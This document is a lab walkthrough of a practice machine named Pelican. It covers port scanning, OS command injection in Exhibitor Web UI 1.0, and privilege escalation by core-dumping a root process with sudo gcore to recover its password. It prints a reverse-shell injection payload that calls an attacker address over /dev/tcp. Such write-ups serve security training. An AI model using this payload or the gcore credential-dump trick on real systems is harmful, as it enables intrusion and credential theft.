# Pelican

## Service Enumeration

`nmapAutomator.sh -H 192.168.237.98 -t full`

`nmapAutomator.sh -H 192.168.237.98 -t vulns`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadOrUVhdwOZ3K56gFR%2Fb1e9cd148fff41af9a1a5c311498a19f.png?alt=media\&token=92be1c4a-29af-4bf0-86ad-5aa43dccf6c6)

## Exploitation

Going to port 8081 redirects us to this page at port 8080.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadOwjywhn3GMYN6N6c%2Fa79a90aa19f44cc1845bd80c0a385389.png?alt=media\&token=7ee385a2-8540-48f2-8c63-a5d5de39f6c2)

This is an Exhibitor Web UI. We can see from the top right corner of the page that the version is 1.0, which is vulnerable to an OS command injection vulnerability: <https://www.exploit-db.com/exploits/48654>.

In the Config tab, the `java.env script` field can be used to execute arbitrary commands. For instance, we can trigger a reverse shell with `$(bash -i >& /dev/tcp/192.168.49.237/4242 0>&1)`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadQ2XXme5OcxY2vrYb%2F174467a8d34340ab9405e1ddb0fc1f6c.png?alt=media\&token=1c57a8b0-aede-4b2e-ae1f-47b93627c6f1)

Catching the reverse shell:

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadV2GB7vcl89vbbKds%2F25366397daf24093ba85e7c05835e755.png?alt=media\&token=9c582ae1-9203-43e5-a6c5-f1ec98e2283d)

Proof:

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadV5Hau-qfJWMtn2wD%2F722dc85417d740bfb583de190bab4836.png?alt=media\&token=6bee368e-96d7-4f15-a970-ca3379f07cfe)

## Privilege Escalation

From the LinPEAS output, we find that `root` runs a binary `/usr/bin/password-store`. We don't have permissions to run this, but it looks interesting.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadV8g-1cItAEeCPiO-%2Fed6a246fd620478a8df1c0c7f3561fe7.png?alt=media\&token=9ff67710-97f6-4e1a-8bef-7f474b7a01dc)

Now, we find that we can run `gcore` as root with no password.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadVBT99Lxw30iBqysL%2F59576d9c0c274f77ad361f2eb6360d05.png?alt=media\&token=2d26ab0e-f5e7-46cc-ac61-5586f272d1f2)

Reference: <https://wiki.sentnl.io/security/hacking-demos/getting-passwords-of-logged-in-users>

`gcore` creates a core dump of a running process. A core file or core dump is a file that records the memory image of a running process and its process status.

Using `ps -ef | grep password-store`, we find that the process ID is 493. Then, we can run `gcore` as `sudo` to create a core dump of the process.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadVEP4ajiV78Q-nL5H%2F8c0835d98019479e8d347ec35fa30dbf.png?alt=media\&token=263a95e6-e2ad-46db-89e7-8099423a8e9c)

In the strings output (`strings core.493`), we find something interesting.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadVIJ4yTOnay7EiehY%2Fa7703a46bd1047b6bdc578069c741e17.png?alt=media\&token=2848b601-fc11-4cd7-a1ad-e28137303cbd)

Using this root password, we successfully authenticate as root.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadVLblxDpkDpsAcZDD%2Fd7367e2cbfd44e75a48f409e87f76b03.png?alt=media\&token=22a4d229-32b9-43ab-9f91-f187e1d749c7)

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadVQ-OYMzyUuTPc5ei%2F31860bf4e7714d04b428b68f2dbeb9c4.png?alt=media\&token=4a4eacc6-7015-4abb-90f4-5febc0bf324a)
